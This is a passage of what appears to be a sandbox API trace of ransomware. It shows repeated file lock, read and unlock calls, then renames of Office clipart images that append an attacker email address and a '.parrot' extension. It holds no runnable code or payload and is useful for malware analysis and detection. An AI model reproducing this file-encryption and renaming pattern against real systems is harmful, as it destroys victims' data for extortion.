SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.424] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c5b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.424] CloseHandle (hObject=0x288) returned 1 [0144.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.428] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a82, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.428] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.428] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.429] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.429] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x396a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x396a, lpOverlapped=0x0) returned 1 [0144.430] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.431] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a82, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.431] CloseHandle (hObject=0x288) returned 1 [0144.431] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.434] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6a56, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.434] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.434] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.436] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.436] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x693e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x693e, lpOverlapped=0x0) returned 1 [0144.437] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.437] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6a56, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.437] CloseHandle (hObject=0x288) returned 1 [0144.437] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.449] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcc22, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.449] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.449] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.451] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.451] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcb0a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcb0a, lpOverlapped=0x0) returned 1 [0144.453] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.454] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcc22, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.454] CloseHandle (hObject=0x288) returned 1 [0144.454] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.458] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6e04, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.458] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.459] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.461] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.461] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6cec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6cec, lpOverlapped=0x0) returned 1 [0144.463] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.465] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6e04, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.465] CloseHandle (hObject=0x288) returned 1 [0144.465] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.470] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x99df, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.470] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.470] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.471] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.471] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x98c7, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x98c7, lpOverlapped=0x0) returned 1 [0144.475] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.475] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x99df, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.475] CloseHandle (hObject=0x288) returned 1 [0144.475] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.478] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbad7, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.478] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.478] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.480] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.480] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9bf, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb9bf, lpOverlapped=0x0) returned 1 [0144.483] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.484] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbad7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.484] CloseHandle (hObject=0x288) returned 1 [0144.484] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.487] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9a04, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.487] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.487] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.489] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.489] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x98ec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x98ec, lpOverlapped=0x0) returned 1 [0144.492] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.493] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9a04, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.493] CloseHandle (hObject=0x288) returned 1 [0144.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.497] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7f0b, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.497] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.497] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.498] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.499] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7df3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7df3, lpOverlapped=0x0) returned 1 [0144.501] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.502] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7f0b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.502] CloseHandle (hObject=0x288) returned 1 [0144.503] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.508] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3634, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.508] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.508] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.510] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.510] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x351c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x351c, lpOverlapped=0x0) returned 1 [0144.511] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.511] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3634, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.511] CloseHandle (hObject=0x288) returned 1 [0144.512] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.515] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3199b, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.515] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.515] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.517] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.517] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31883, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x31883, lpOverlapped=0x0) returned 1 [0144.523] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.532] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3199b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.532] CloseHandle (hObject=0x288) returned 1 [0144.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.570] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15e61, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.571] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.571] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.572] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.572] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15d49, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x15d49, lpOverlapped=0x0) returned 1 [0144.578] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.579] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15e61, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.579] CloseHandle (hObject=0x288) returned 1 [0144.580] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.583] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e94e, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.583] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.584] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.585] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.585] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e836, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1e836, lpOverlapped=0x0) returned 1 [0144.590] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.593] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e94e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.594] CloseHandle (hObject=0x288) returned 1 [0144.594] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.598] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x19b75, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.598] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.598] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.599] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.600] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19a5d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x19a5d, lpOverlapped=0x0) returned 1 [0144.606] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.609] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19b75, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.609] CloseHandle (hObject=0x288) returned 1 [0144.609] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.612] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1785a, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.612] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.626] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.627] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.627] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17742, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x17742, lpOverlapped=0x0) returned 1 [0144.634] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.637] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1785a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.637] CloseHandle (hObject=0x288) returned 1 [0144.637] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), 